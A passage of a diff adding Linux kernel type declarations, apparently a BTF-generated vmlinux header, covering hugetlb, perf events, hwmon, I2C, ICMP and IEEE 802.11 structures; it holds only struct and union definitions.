atomic_long_t events_local[2]; + struct cgroup_file events_file[2]; + struct cgroup_file events_local_file[2]; + struct hugetlb_cgroup_per_node *nodeinfo[0]; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct hugetlb_cgroup_per_node { + unsigned long usage[2]; +}; + +struct hugetlb_vma_lock { + struct kref refs; + struct rw_semaphore rw_sema; + struct vm_area_struct *vma; +}; + +struct hugetlbfs_fs_context { + struct hstate *hstate; + unsigned long long max_size_opt; + unsigned long long min_size_opt; + long max_hpages; + long nr_inodes; + long min_hpages; + enum hugetlbfs_size_type max_val_type; + enum hugetlbfs_size_type min_val_type; + kuid_t uid; + kgid_t gid; + umode_t mode; +}; + +struct hugetlbfs_inode_info { + struct inode vfs_inode; + unsigned int seals; +}; + +struct hugetlbfs_sb_info { + long max_inodes; + long free_inodes; + spinlock_t stat_lock; + struct hstate *hstate; + struct hugepage_subpool *spool; + kuid_t uid; + kgid_t gid; + umode_t mode; +}; + +struct hw_key_entry { + u8 key[16]; + u8 tx_mic[8]; + u8 rx_mic[8]; +}; + +struct ieee80211_sta_ht_cap { + u16 cap; + bool ht_supported; + u8 ampdu_factor; + u8 ampdu_density; + struct ieee80211_mcs_info mcs; + short: 0; +} __attribute__((packed)); + +struct rf_channel; + +struct hw_mode_spec { + unsigned int supported_bands; + unsigned int supported_rates; + unsigned int num_channels; + const struct rf_channel *channels; + const struct channel_info *channels_info; + struct ieee80211_sta_ht_cap ht; +}; + +struct hw_perf_event_extra { + u64 config; + unsigned int reg; + int alloc; + int idx; +}; + +struct rhlist_head { + struct rhash_head rhead; + struct rhlist_head __attribute__((btf_type_tag("rcu"))) *next; +}; + +struct hw_perf_event { + union { + struct { + u64 config; + u64 last_tag; + unsigned long config_base; + unsigned long event_base; + int event_base_rdpmc; + int idx; + int last_cpu; + int flags; + struct hw_perf_event_extra extra_reg; + struct hw_perf_event_extra branch_reg; + }; + struct { + u64 aux_config; + }; + struct { + struct hrtimer hrtimer; + }; + struct { + struct list_head tp_list; + }; + struct { + u64 pwr_acc; + u64 ptsc; + }; + struct { + struct arch_hw_breakpoint info; + struct rhlist_head bp_list; + }; + struct { + u8 iommu_bank; + u8 iommu_cntr; + u16 padding; + u64 conf; + u64 conf1; + }; + }; + struct task_struct *target; + void *addr_filters; + unsigned long addr_filters_gen; + int state; + local64_t prev_count; + u64 sample_period; + union { + struct { + u64 last_period; + local64_t period_left; + }; + struct { + u64 saved_metric; + u64 saved_slots; + }; + }; + u64 interrupts_seq; + u64 interrupts; + u64 freq_time_stamp; + u64 freq_count_stamp; +}; + +struct hw_port_info { + struct net_device *lower_dev; + u32 port_id; +}; + +struct hwlat_entry { + struct trace_entry ent; + u64 duration; + u64 outer_duration; + u64 nmi_total_ts; + struct timespec64 timestamp; + unsigned int nmi_count; + unsigned int seqnum; + unsigned int count; +}; + +struct hwmon_attr { + struct device_attribute dev_attr; + struct e1000_hw___3 *hw; + struct e1000_thermal_diode_data *sensor; + char name[12]; +}; + +struct hwmon_buff { + struct attribute_group group; + const struct attribute_group *groups[2]; + struct attribute *attrs[13]; + struct hwmon_attr hwmon_list[12]; + unsigned int n_hwmon; +}; + +struct hwmon_channel_info { + enum hwmon_sensor_types type; + const u32 *config; +}; + +struct hwmon_ops; + +struct hwmon_chip_info { + const struct hwmon_ops *ops; + const struct hwmon_channel_info * const *info; +}; + +struct hwmon_device { + const char *name; + const char *label; + struct device dev; + const struct hwmon_chip_info *chip; + struct list_head tzdata; + struct attribute_group group; + const struct attribute_group **groups; +}; + +struct hwmon_device_attribute { + struct device_attribute dev_attr; + const struct hwmon_ops *ops; + enum hwmon_sensor_types type; + u32 attr; + int index; + char name[32]; +}; + +struct hwmon_ops { + umode_t (*is_visible)(const void *, enum hwmon_sensor_types, u32, int); + int (*read)(struct device *, enum hwmon_sensor_types, u32, int, long *); + int (*read_string)(struct device *, enum hwmon_sensor_types, u32, int, const char **); + int (*write)(struct device *, enum hwmon_sensor_types, u32, int, long); +}; + +struct hwmon_type_attr_list { + const u32 *attrs; + size_t n_attrs; +}; + +struct i2c_acpi_irq_context { + int irq; + bool wake_capable; +}; + +struct i2c_board_info; + +struct i2c_acpi_lookup { + struct i2c_board_info *info; + acpi_handle adapter_handle; + acpi_handle device_handle; + acpi_handle search_handle; + int n; + int index; + u32 speed; + u32 min_speed; + u32 force_speed; +}; + +struct rt_mutex { + struct rt_mutex_base rtmutex; + struct lockdep_map dep_map; +}; + +struct i2c_algorithm; + +struct i2c_lock_operations; + +struct i2c_bus_recovery_info; + +struct i2c_adapter_quirks; + +struct i2c_adapter { + struct module *owner; + unsigned int class; + const struct i2c_algorithm *algo; + void *algo_data; + const struct i2c_lock_operations *lock_ops; + struct rt_mutex bus_lock; + struct rt_mutex mux_lock; + int timeout; + int retries; + struct device dev; + unsigned long locked_flags; + int nr; + char name[48]; + struct completion dev_released; + struct mutex userspace_clients_lock; + struct list_head userspace_clients; + struct i2c_bus_recovery_info *bus_recovery_info; + const struct i2c_adapter_quirks *quirks; + struct irq_domain *host_notify_domain; + struct regulator *bus_regulator; + struct dentry *debugfs; + unsigned long addrs_in_instantiation[2]; +}; + +struct i2c_adapter_quirks { + u64 flags; + int max_num_msgs; + u16 max_write_len; + u16 max_read_len; + u16 max_comb_1st_msg_len; + u16 max_comb_2nd_msg_len; +}; + +struct i2c_algo_bit_data { + void *data; + void (*setsda)(void *, int); + void (*setscl)(void *, int); + int (*getsda)(void *); + int (*getscl)(void *); + int (*pre_xfer)(struct i2c_adapter *); + void (*post_xfer)(struct i2c_adapter *); + int udelay; + int timeout; + bool can_do_atomic; +}; + +struct i2c_msg; + +union i2c_smbus_data; + +struct i2c_algorithm { + union { + int (*xfer)(struct i2c_adapter *, struct i2c_msg *, int); + int (*master_xfer)(struct i2c_adapter *, struct i2c_msg *, int); + }; + union { + int (*xfer_atomic)(struct i2c_adapter *, struct i2c_msg *, int); + int (*master_xfer_atomic)(struct i2c_adapter *, struct i2c_msg *, int); + }; + int (*smbus_xfer)(struct i2c_adapter *, u16, unsigned short, char, u8, int, union i2c_smbus_data *); + int (*smbus_xfer_atomic)(struct i2c_adapter *, u16, unsigned short, char, u8, int, union i2c_smbus_data *); + u32 (*functionality)(struct i2c_adapter *); +}; + +struct i2c_board_info { + char type[20]; + unsigned short flags; + unsigned short addr; + const char *dev_name; + void *platform_data; + struct device_node *of_node; + struct fwnode_handle *fwnode; + const struct software_node *swnode; + const struct resource *resources; + unsigned int num_resources; + int irq; +}; + +struct pinctrl; + +struct pinctrl_state; + +struct i2c_bus_recovery_info { + int (*recover_bus)(struct i2c_adapter *); + int (*get_scl)(struct i2c_adapter *); + void (*set_scl)(struct i2c_adapter *, int); + int (*get_sda)(struct i2c_adapter *); + void (*set_sda)(struct i2c_adapter *, int); + int (*get_bus_free)(struct i2c_adapter *); + void (*prepare_recovery)(struct i2c_adapter *); + void (*unprepare_recovery)(struct i2c_adapter *); + struct gpio_desc *scl_gpiod; + struct gpio_desc *sda_gpiod; + struct pinctrl *pinctrl; + struct pinctrl_state *pins_default; + struct pinctrl_state *pins_gpio; +}; + +struct i2c_client { + unsigned short flags; + unsigned short addr; + char name[20]; + struct i2c_adapter *adapter; + struct device dev; + int init_irq; + int irq; + struct list_head detected; + void *devres_group_id; +}; + +struct i2c_cmd_arg { + unsigned int cmd; + void *arg; +}; + +struct i2c_device_id { + char name[20]; + kernel_ulong_t driver_data; +}; + +struct i2c_device_identity { + u16 manufacturer_id; + u16 part_id; + u8 die_revision; +}; + +struct i2c_devinfo { + struct list_head list; + int busnum; + struct i2c_board_info board_info; +}; + +struct i2c_driver { + unsigned int class; + int (*probe)(struct i2c_client *); + void (*remove)(struct i2c_client *); + void (*shutdown)(struct i2c_client *); + void (*alert)(struct i2c_client *, enum i2c_alert_protocol, unsigned int); + int (*command)(struct i2c_client *, unsigned int, void *); + struct device_driver driver; + const struct i2c_device_id *id_table; + int (*detect)(struct i2c_client *, struct i2c_board_info *); + const unsigned short *address_list; + struct list_head clients; + u32 flags; +}; + +struct i2c_lock_operations { + void (*lock_bus)(struct i2c_adapter *, unsigned int); + int (*trylock_bus)(struct i2c_adapter *, unsigned int); + void (*unlock_bus)(struct i2c_adapter *, unsigned int); +}; + +struct i2c_msg { + __u16 addr; + __u16 flags; + __u16 len; + __u8 *buf; +}; + +struct i2c_smbus_alert { + struct work_struct alert; + struct i2c_client *ara; +}; + +struct i2c_smbus_alert_setup { + int irq; +}; + +union i2c_smbus_data { + __u8 byte; + __u16 word; + __u8 block[34]; +}; + +struct i2c_timings { + u32 bus_freq_hz; + u32 scl_rise_ns; + u32 scl_fall_ns; + u32 scl_int_delay_ns; + u32 sda_fall_ns; + u32 sda_hold_ns; + u32 digital_filter_width_ns; + u32 analog_filter_cutoff_freq_hz; +}; + +struct platform_device; + +struct i801_priv { + struct i2c_adapter adapter; + unsigned long smba; + unsigned char original_hstcfg; + unsigned char original_hstcnt; + unsigned char original_slvcmd; + struct pci_dev *pci_dev; + unsigned int features; + struct completion done; + u8 status; + u8 cmd; + bool is_read; + int count; + int len; + u8 *data; + struct platform_device *tco_pdev; + bool acpi_reserved; +}; + +struct i8042_port { + struct serio *serio; + int irq; + bool exists; + bool driver_bound; + signed char mux; +}; + +struct iapp_layer2_update { + u8 da[6]; + u8 sa[6]; + __be16 len; + u8 dsap; + u8 ssap; + u8 control; + u8 xid_info[3]; +}; + +struct iattr { + unsigned int ia_valid; + umode_t ia_mode; + union { + kuid_t ia_uid; + vfsuid_t ia_vfsuid; + }; + union { + kgid_t ia_gid; + vfsgid_t ia_vfsgid; + }; + loff_t ia_size; + struct timespec64 ia_atime; + struct timespec64 ia_mtime; + struct timespec64 ia_ctime; + struct file *ia_file; +}; + +union ibs_fetch_ctl { + __u64 val; + struct { + __u64 fetch_maxcnt: 16; + __u64 fetch_cnt: 16; + __u64 fetch_lat: 16; + __u64 fetch_en: 1; + __u64 fetch_val: 1; + __u64 fetch_comp: 1; + __u64 ic_miss: 1; + __u64 phy_addr_valid: 1; + __u64 l1tlb_pgsz: 2; + __u64 l1tlb_miss: 1; + __u64 l2tlb_miss: 1; + __u64 rand_en: 1; + __u64 fetch_l2_miss: 1; + __u64 l3_miss_only: 1; + __u64 fetch_oc_miss: 1; + __u64 fetch_l3_miss: 1; + __u64 reserved: 2; + }; +}; + +union ibs_op_ctl { + __u64 val; + struct { + __u64 opmaxcnt: 16; + __u64 l3_miss_only: 1; + __u64 op_en: 1; + __u64 op_val: 1; + __u64 cnt_ctl: 1; + __u64 opmaxcnt_ext: 7; + __u64 reserved0: 5; + __u64 opcurcnt: 27; + __u64 reserved1: 5; + }; +}; + +union ibs_op_data { + __u64 val; + struct { + __u64 comp_to_ret_ctr: 16; + __u64 tag_to_ret_ctr: 16; + __u64 reserved1: 2; + __u64 op_return: 1; + __u64 op_brn_taken: 1; + __u64 op_brn_misp: 1; + __u64 op_brn_ret: 1; + __u64 op_rip_invalid: 1; + __u64 op_brn_fuse: 1; + __u64 op_microcode: 1; + __u64 reserved2: 23; + }; +}; + +union ibs_op_data2 { + __u64 val; + struct { + __u64 data_src_lo: 3; + __u64 reserved0: 1; + __u64 rmt_node: 1; + __u64 cache_hit_st: 1; + __u64 data_src_hi: 2; + __u64 reserved1: 56; + }; +}; + +union ibs_op_data3 { + __u64 val; + struct { + __u64 ld_op: 1; + __u64 st_op: 1; + __u64 dc_l1tlb_miss: 1; + __u64 dc_l2tlb_miss: 1; + __u64 dc_l1tlb_hit_2m: 1; + __u64 dc_l1tlb_hit_1g: 1; + __u64 dc_l2tlb_hit_2m: 1; + __u64 dc_miss: 1; + __u64 dc_mis_acc: 1; + __u64 reserved: 4; + __u64 dc_wc_mem_acc: 1; + __u64 dc_uc_mem_acc: 1; + __u64 dc_locked_op: 1; + __u64 dc_miss_no_mab_alloc: 1; + __u64 dc_lin_addr_valid: 1; + __u64 dc_phy_addr_valid: 1; + __u64 dc_l2_tlb_hit_1g: 1; + __u64 l2_miss: 1; + __u64 sw_pf: 1; + __u64 op_mem_width: 4; + __u64 op_dc_miss_open_mem_reqs: 6; + __u64 dc_miss_lat: 16; + __u64 tlb_refill_lat: 16; + }; +}; + +struct ich8_pr { + u32 base: 13; + u32 reserved1: 2; + u32 rpe: 1; + u32 limit: 13; + u32 reserved2: 2; + u32 wpe: 1; +}; + +union ich8_flash_protected_range { + struct ich8_pr range; + u32 regval; +}; + +struct ich8_hsflctl { + u16 flcgo: 1; + u16 flcycle: 2; + u16 reserved: 5; + u16 fldbcount: 2; + u16 flockdn: 6; +}; + +struct ich8_hsfsts { + u16 flcdone: 1; + u16 flcerr: 1; + u16 dael: 1; + u16 berasesz: 2; + u16 flcinprog: 1; + u16 reserved1: 2; + u16 reserved2: 6; + u16 fldesvalid: 1; + u16 flockdn: 1; +}; + +union ich8_hws_flash_ctrl { + struct ich8_hsflctl hsf_ctrl; + u16 regval; +}; + +union ich8_hws_flash_status { + struct ich8_hsfsts hsf_status; + u16 regval; +}; + +struct ich_laptop { + u16 device; + u16 subvendor; + u16 subdevice; +}; + +struct icmp6_err { + int err; + int fatal; +}; + +struct icmp6_filter { + __u32 data[8]; +}; + +struct icmpv6_echo { + __be16 identifier; + __be16 sequence; +}; + +struct icmpv6_nd_advt { + __u32 reserved: 5; + __u32 override: 1; + __u32 solicited: 1; + __u32 router: 1; + __u32 reserved2: 24; +}; + +struct icmpv6_nd_ra { + __u8 hop_limit; + __u8 reserved: 3; + __u8 router_pref: 2; + __u8 home_agent: 1; + __u8 other: 1; + __u8 managed: 1; + __be16 rt_lifetime; +}; + +struct icmp6hdr { + __u8 icmp6_type; + __u8 icmp6_code; + __sum16 icmp6_cksum; + union { + __be32 un_data32[1]; + __be16 un_data16[2]; + __u8 un_data8[4]; + struct icmpv6_echo u_echo; + struct icmpv6_nd_advt u_nd_advt; + struct icmpv6_nd_ra u_nd_ra; + } icmp6_dataun; +}; + +struct icmphdr { + __u8 type; + __u8 code; + __sum16 checksum; + union { + struct { + __be16 id; + __be16 sequence; + } echo; + __be32 gateway; + struct { + __be16 __unused; + __be16 mtu; + } frag; + __u8 reserved[4]; + } un; +}; + +struct ip_options { + __be32 faddr; + __be32 nexthop; + unsigned char optlen; + unsigned char srr; + unsigned char rr; + unsigned char ts; + unsigned char is_strictroute: 1; + unsigned char srr_is_hit: 1; + unsigned char is_changed: 1; + unsigned char rr_needaddr: 1; + unsigned char ts_needtime: 1; + unsigned char ts_needaddr: 1; + unsigned char router_alert; + unsigned char cipso; + unsigned char __pad2; + unsigned char __data[0]; +}; + +struct ip_options_rcu { + struct callback_head rcu; + struct ip_options opt; +}; + +struct ip_options_data { + struct ip_options_rcu opt; + char data[40]; +}; + +struct icmp_bxm { + struct sk_buff *skb; + int offset; + int data_len; + struct { + struct icmphdr icmph; + __be32 times[3]; + } data; + int head_len; + struct ip_options_data replyopts; +}; + +struct icmp_control { + enum skb_drop_reason (*handler)(struct sk_buff *); + short error; +}; + +struct icmp_err { + int errno; + unsigned int fatal: 1; +}; + +struct icmp_ext_echo_ctype3_hdr { + __be16 afi; + __u8 addrlen; + __u8 reserved; +}; + +struct icmp_extobj_hdr { + __be16 length; + __u8 class_num; + __u8 class_type; +}; + +struct icmp_ext_echo_iio { + struct icmp_extobj_hdr extobj_hdr; + union { + char name[16]; + __be32 ifindex; + struct { + struct icmp_ext_echo_ctype3_hdr ctype3_hdr; + union { + __be32 ipv4_addr; + struct in6_addr ipv6_addr; + } ip_addr; + } addr; + } ident; +}; + +struct icmp_ext_hdr { + __u8 reserved1: 4; + __u8 version: 4; + __u8 reserved2; + __sum16 checksum; +}; + +struct icmp_filter { + __u32 data; +}; + +struct icmp_mib { + unsigned long mibs[30]; +}; + +struct icmpmsg_mib { + atomic_long_t mibs[512]; +}; + +struct icmpv6_mib { + unsigned long mibs[7]; +}; + +struct icmpv6_mib_device { + atomic_long_t mibs[7]; +}; + +struct icmpv6_msg { + struct sk_buff *skb; + int offset; + uint8_t type; +}; + +struct icmpv6msg_mib { + atomic_long_t mibs[512]; +}; + +struct icmpv6msg_mib_device { + atomic_long_t mibs[512]; +}; + +struct ida_bitmap { + unsigned long bitmap[16]; +}; + +struct idempotent { + const void *cookie; + struct hlist_node entry; + struct completion complete; + int ret; +}; + +struct idle_timer { + struct hrtimer timer; + int done; +}; + +struct idt_data { + unsigned int vector; + unsigned int segment; + struct idt_bits bits; + const void *addr; +}; + +struct ieee80211_addba_ext_ie { + u8 data; +}; + +struct ieee80211_adv_ttlm_info { + u16 switch_time; + u32 duration; + u16 map; + bool active; +}; + +struct ieee80211_aid_response_ie { + __le16 aid; + u8 switch_count; + __le16 response_int; +} __attribute__((packed)); + +struct ieee80211_sta; + +struct ieee80211_ampdu_params { + enum ieee80211_ampdu_mlme_action action; + struct ieee80211_sta *sta; + u16 tid; + u16 ssn; + u16 buf_size; + bool amsdu; + u16 timeout; +}; + +struct ieee80211_ba_event { + struct ieee80211_sta *sta; + u16 tid; + u16 ssn; +}; + +struct ieee80211_eht_operation_info { + u8 control; + u8 ccfs0; + u8 ccfs1; + u8 optional[0]; +}; + +struct ieee80211_bandwidth_indication { + u8 params; + struct ieee80211_eht_operation_info info; +}; + +struct ieee80211_bar { + __le16 frame_control; + __le16 duration; + __u8 ra[6]; + __u8 ta[6]; + __le16 control; + __le16 start_seq_num; +}; + +struct ieee80211_rate; + +struct ieee80211_bss { + u32 device_ts_beacon; + u32 device_ts_presp; + bool wmm_used; + bool uapsd_supported; + u8 supp_rates[32]; + size_t supp_rates_len; + struct ieee80211_rate *beacon_rate; + u32 vht_cap_info; + bool has_erp_value; + u8 erp_value; + u8 corrupt_data; + u8 valid_data; +}; + +struct ieee80211_chan_req { + struct cfg80211_chan_def oper; + struct cfg80211_chan_def ap; +}; + +struct ieee80211_mu_group_data { + u8 membership[8]; + u8 position[16]; +}; + +struct ieee80211_p2p_noa_desc { + u8 count; + __le32 duration; + __le32 interval; + __le32 start_time; +} __attribute__((packed)); + +struct ieee80211_p2p_noa_attr { + u8 index; + u8 oppps_ctwindow; + struct ieee80211_p2p_noa_desc desc[4]; +}; + +struct ieee80211_fils_discovery { + u32 min_interval; + u32 max_interval; +}; + +struct ieee80211_parsed_tpe_eirp { + bool valid; + s8 power[5]; + u8 count; +}; + +struct ieee80211_parsed_tpe_psd { + bool valid; + s8 power[16]; + u8 count; + u8 n; +}; + +struct ieee80211_parsed_tpe { + struct ieee80211_parsed_tpe_eirp max_local[2]; + struct ieee80211_parsed_tpe_eirp max_reg_client[2]; + struct ieee80211_parsed_tpe_psd psd_local[2]; + struct ieee80211_parsed_tpe_psd psd_reg_client[2]; +}; + +struct ieee80211_vif; + +struct ieee80211_ftm_responder_params; + +struct ieee80211_chanctx_conf; + +struct ieee80211_bss_conf { + struct ieee80211_vif *vif; + struct cfg80211_bss *bss; + const u8 *bssid; + unsigned int link_id; + u8 addr[6]; + u8 htc_trig_based_pkt_ext; + bool uora_exists; + u8 uora_ocw_range; + u16 frame_time_rts_th; + bool he_support; + bool twt_requester; + bool twt_responder; + bool twt_protected; + bool twt_broadcast; + bool use_cts_prot; + bool use_short_preamble; + bool use_short_slot; + bool enable_beacon; + u8 dtim_period; + u16 beacon_int; + u16 assoc_capability; + u64 sync_tsf; + u32 sync_device_ts; + u8 sync_dtim_count; + u32 basic_rates; + struct ieee80211_rate *beacon_rate; + int mcast_rate[6]; + u16 ht_operation_mode; + s32 cqm_rssi_thold; + u32 cqm_rssi_hyst; + s32 cqm_rssi_low; + s32 cqm_rssi_high; + struct ieee80211_chan_req chanreq; + struct ieee80211_mu_group_data mu_group; + bool qos; + bool hidden_ssid; + int txpower; + enum nl80211_tx_power_setting txpower_type; + struct ieee80211_p2p_noa_attr p2p_noa_attr; + bool allow_p2p_go_ps; + u16 max_idle_period; + bool protected_keep_alive; + bool ftm_responder; + struct ieee80211_ftm_responder_params *ftmr_params; + bool nontransmitted; + u8 transmitter_bssid[6]; + u8 bssid_index; + u8 bssid_indicator; + bool ema_ap; + u8 profile_periodicity; + struct { + u32 params; + u16 nss_set; + } he_oper; + struct ieee80211_he_obss_pd he_obss_pd; + struct cfg80211_he_bss_color he_bss_color; + struct ieee80211_fils_discovery fils_discovery; + u32 unsol_bcast_probe_resp_interval; + struct cfg80211_bitrate_mask beacon_tx_rate; + enum ieee80211_ap_reg_power power_type; + struct ieee80211_parsed_tpe tpe; + u8 pwr_reduction; + bool eht_support; + bool csa_active; + bool mu_mimo_owner; + struct ieee80211_chanctx_conf __attribute__((btf_type_tag("rcu"))) *chanctx_conf; + bool color_change_active; + u8 color_change_color; + bool ht_ldpc; + bool vht_ldpc; + bool he_ldpc; + bool vht_su_beamformer; + bool vht_su_beamformee; + bool vht_mu_beamformer; + bool vht_mu_beamformee; + bool he_su_beamformer; + bool he_su_beamformee; + bool he_mu_beamformer; + bool he_full_ul_mumimo; + bool eht_su_beamformer; + bool eht_su_beamformee; + bool eht_mu_beamformer; + bool eht_80mhz_full_bw_ul_mumimo; +}; + +struct ieee80211_bss_load_elem { + __le16 sta_count; + u8 channel_util; + __le16 avail_admission_capa; +} __attribute__((packed)); + +struct ieee80211_bss_max_idle_period_ie { + __le16 max_idle_period; + u8 idle_options; +} __attribute__((packed)); + +struct ieee80211_bssid_index { + u8 bssid_index; + u8 dtim_period; + u8 dtim_count; +}; + +struct ieee80211_ch_switch_timing { + __le16 switch_time; + __le16 switch_timeout; +}; + +struct ieee80211_chanctx_conf { + struct cfg80211_chan_def def; + struct cfg80211_chan_def min_def; + struct cfg80211_chan_def ap; + int radio_idx; + u8 rx_chains_static; + u8 rx_chains_dynamic; + bool radar_enabled; + long: 0; + u8 drv_priv[0]; +}; + +struct ieee80211_chanctx { + struct list_head list; + struct callback_head callback_head; + struct list_head assigned_links; + struct list_head reserved_links; + enum ieee80211_chanctx_replace_state replace_state; + struct ieee80211_chanctx *replace_ctx; + enum ieee80211_chanctx_mode mode; + bool driver_present; + struct ieee80211_chan_req req; + struct ieee80211_chanctx_conf conf; + bool radar_detected; +}; + +struct ieee80211_channel { + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + u16 hw_value; + u32 flags; + int max_antenna_gain; + int max_power; + int max_reg_power; + bool beacon_found; + u32 orig_flags; + int orig_mag; + int orig_mpwr; + enum nl80211_dfs_state dfs_state; + unsigned long dfs_state_entered; + unsigned int dfs_cac_ms; + s8 psd; +}; + +struct ieee80211_channel_sw_ie { + u8 mode; + u8 new_ch_num; + u8 count; +}; + +struct ieee80211_channel_switch { + u64 timestamp; + u32 device_timestamp; + bool block_tx; + struct cfg80211_chan_def chandef; + u8 count; + u8 link_id; + u32 delay; +}; + +struct ieee80211_color_change_settings { + u16 counter_offset_beacon; + u16 counter_offset_presp; + u8 count; +}; + +struct ieee80211_conf { + u32 flags; + int power_level; + int dynamic_ps_timeout; + u16 listen_interval; + u8 ps_dtim_period; + u8 long_frame_max_tx_count; + u8 short_frame_max_tx_count; + struct cfg80211_chan_def chandef; + bool radar_enabled; + enum ieee80211_smps_mode smps_mode; +}; + +struct ieee80211_conn_settings { + enum ieee80211_conn_mode mode; + enum ieee80211_conn_bw_limit bw_limit; +}; + +struct ieee80211_country_ie_triplet { + union { + struct { + u8 first_channel; + u8 num_channels; + s8 max_power; + } chans; + struct { + u8 reg_extension_id; + u8 reg_class; + u8 coverage_class; + } ext; + }; +}; + +struct ieee80211_csa_ie { + struct ieee80211_chan_req chanreq; + u8 mode; + u8 count; + u8 ttl; + u16 pre_value; + u16 reason_code; + u32 max_switch_time; +}; + +struct ieee80211_csa_settings { + const u16 *counter_offsets_beacon; + const u16 *counter_offsets_presp; + int n_counter_offsets_beacon; + int n_counter_offsets_presp; + u8 count; +}; + +struct ieee80211_cts { + __le16 frame_control; + __le16 duration; + u8 ra[6]; +}; + +struct ieee80211_eht_cap_elem_fixed { + u8 mac_cap_info[2]; + u8 phy_cap_info[9]; +}; + +struct ieee80211_eht_cap_elem { + struct ieee80211_eht_cap_elem_fixed fixed; + u8 optional[0]; +}; + +struct ieee80211_eht_mcs_nss_supp_20mhz_only { + union { + struct { + u8 rx_tx_mcs7_max_nss; + u8 rx_tx_mcs9_max_nss; + u8 rx_tx_mcs11_max_nss; + u8 rx_tx_mcs13_max_nss; + }; + u8 rx_tx_max_nss[4]; + }; +}; + +struct ieee80211_eht_mcs_nss_supp_bw { + union { + struct { + u8 rx_tx_mcs9_max_nss; + u8 rx_tx_mcs11_max_nss; + u8 rx_tx_mcs13_max_nss; + }; + u8 rx_tx_max_nss[3]; + }; +}; + +struct ieee80211_eht_mcs_nss_supp { + union { + struct ieee80211_eht_mcs_nss_supp_20mhz_only only_20mhz; + struct { + struct ieee80211_eht_mcs_nss_supp_bw _80; + struct ieee80211_eht_mcs_nss_supp_bw _160; + struct ieee80211_eht_mcs_nss_supp_bw _320; + } bw; + }; +}; + +struct ieee80211_eht_operation { + u8 params; + struct ieee80211_eht_mcs_nss_supp_20mhz_only basic_mcs_nss; + u8 optional[0]; +}; + +struct ieee80211_tdls_lnkie; + +struct ieee80211_tim_ie; + +struct ieee80211_ht_operation; + +struct ieee80211_vht_operation; + +struct ieee80211_he_spr; + +struct ieee80211_mu_edca_param_set; + +struct ieee80211_he_6ghz_capa; + +struct ieee80211_rann_ie; + +struct ieee80211_ext_chansw_ie; + +struct ieee80211_wide_bw_chansw_ie; + +struct ieee80211_timeout_interval_ie; + +struct ieee80211_sec_chan_offs_ie; + +struct ieee80211_mesh_chansw_params_ie; + +struct ieee80211_multiple_bssid_configuration; + +struct ieee80211_s1g_oper_ie; + +struct ieee80211_s1g_bcn_compat_ie; + +struct ieee80211_ttlm_elem; + +struct ieee802_11_elems { + const u8 *ie_start; + size_t total_len; + u32 crc; + const struct ieee80211_tdls_lnkie *lnk_id; + const struct ieee80211_ch_switch_timing *ch_sw_timing; + const u8 *ext_capab; + const u8 *ssid; + const u8 *supp_rates; + const u8 *ds_params; + const struct ieee80211_tim_ie *tim; + const u8 *rsn; + const u8 *rsnx; + const u8 *erp_info; + const u8 *ext_supp_rates; + const u8 *wmm_info; + const u8 *wmm_param; + const struct ieee80211_ht_cap *ht_cap_elem; + const struct ieee80211_ht_operation *ht_operation; + const struct ieee80211_vht_cap *vht_cap_elem; + const struct ieee80211_vht_operation *vht_operation; + const struct ieee80211_meshconf_ie *mesh_config; + const u8 *he_cap; + const struct ieee80211_he_operation *he_operation; + const struct ieee80211_he_spr *he_spr; + const struct ieee80211_mu_edca_param_set *mu_edca_param_set; + const struct ieee80211_he_6ghz_capa *he_6ghz_capa; + const u8 *uora_element; + const u8 *mesh_id; + const u8 *peering; + const __le16 *awake_window; + const u8 *preq; + const u8 *prep; + const u8 *perr; + const struct ieee80211_rann_ie *rann; + const struct ieee80211_channel_sw_ie *ch_switch_ie; + const struct ieee80211_ext_chansw_ie *ext_chansw_ie; + const struct ieee80211_wide_bw_chansw_ie *wide_bw_chansw_ie; + const u8 *max_channel_switch_time; + const u8 *country_elem; + const u8 *pwr_constr_elem; + const u8 *cisco_dtpc_elem; + const struct ieee80211_timeout_interval_ie *timeout_int; + const u8 *opmode_notif; + const struct ieee80211_sec_chan_offs_ie *sec_chan_offs; + struct ieee80211_mesh_chansw_params_ie *mesh_chansw_params_ie; + const struct ieee80211_bss_max_idle_period_ie *max_idle_period_ie; + const struct ieee80211_multiple_bssid_configuration *mbssid_config_ie; + const struct ieee80211_bssid_index *bssid_index; + u8 max_bssid_indicator; + u8 dtim_count; + u8 dtim_period; + const struct ieee80211_addba_ext_ie *addba_ext_ie; + const struct ieee80211_s1g_cap *s1g_capab; + const struct ieee80211_s1g_oper_ie *s1g_oper; + const struct ieee80211_s1g_bcn_compat_ie *s1g_bcn_compat; + const struct ieee80211_aid_response_ie *aid_resp; + const struct ieee80211_eht_cap_elem *eht_cap; + const struct ieee80211_eht_operation *eht_operation; + const struct ieee80211_multi_link_elem *ml_basic; + const struct ieee80211_multi_link_elem *ml_reconf; + const struct ieee80211_bandwidth_indication *bandwidth_indication; + const struct ieee80211_ttlm_elem *ttlm[2]; + struct ieee80211_parsed_tpe tpe; + struct ieee80211_parsed_tpe csa_tpe; + u8 ext_capab_len; + u8 ssid_len; + u8 supp_rates_len; + u8 tim_len; + u8 rsn_len; + u8 rsnx_len; + u8 ext_supp_rates_len; + u8 wmm_info_len; + u8 wmm_param_len; + u8 he_cap_len; + u8 mesh_id_len; + u8 peering_len; + u8 preq_len; + u8 prep_len; + u8 perr_len; + u8 country_elem_len; + u8 bssid_index_len; + u8 eht_cap_len; + size_t ml_basic_len; + size_t ml_reconf_len; + u8 ttlm_num; + struct ieee80211_mle_per_sta_profile *prof; + size_t sta_prof_len; + u8 parse_error; +}; + +struct ieee80211_elems_parse { + struct ieee802_11_elems elems; + const struct element *ml_basic_elem; + const struct element *ml_reconf_elem; + size_t scratch_len; + u8 *scratch_pos; + u8 scratch[0]; +}; + +struct ieee80211_elems_parse_params { + enum ieee80211_conn_mode mode; + const u8 *start; + size_t len; + bool action; + u64 filter; + u32 crc; + struct cfg80211_bss *bss; + int link_id; + bool from_ap; +}; + +struct ieee80211_mutable_offsets { + u16 tim_offset; + u16 tim_length; + u16 cntdwn_counter_offs[2]; + u16 mbssid_off; +}; + +struct ieee80211_ema_beacons { + u8 cnt; + struct { + struct sk_buff *skb; + struct ieee80211_mutable_offsets offs; + } bcn[0]; +}; + +struct ieee80211_rssi_event { + enum ieee80211_rssi_event_data data; +}; + +struct ieee80211_mlme_event { + enum ieee80211_mlme_event_data data; + enum ieee80211_mlme_event_status status; + u16 reason; +}; + +struct ieee80211_event { + enum ieee80211_event_type type; + union { + struct ieee80211_rssi_event rssi; + struct 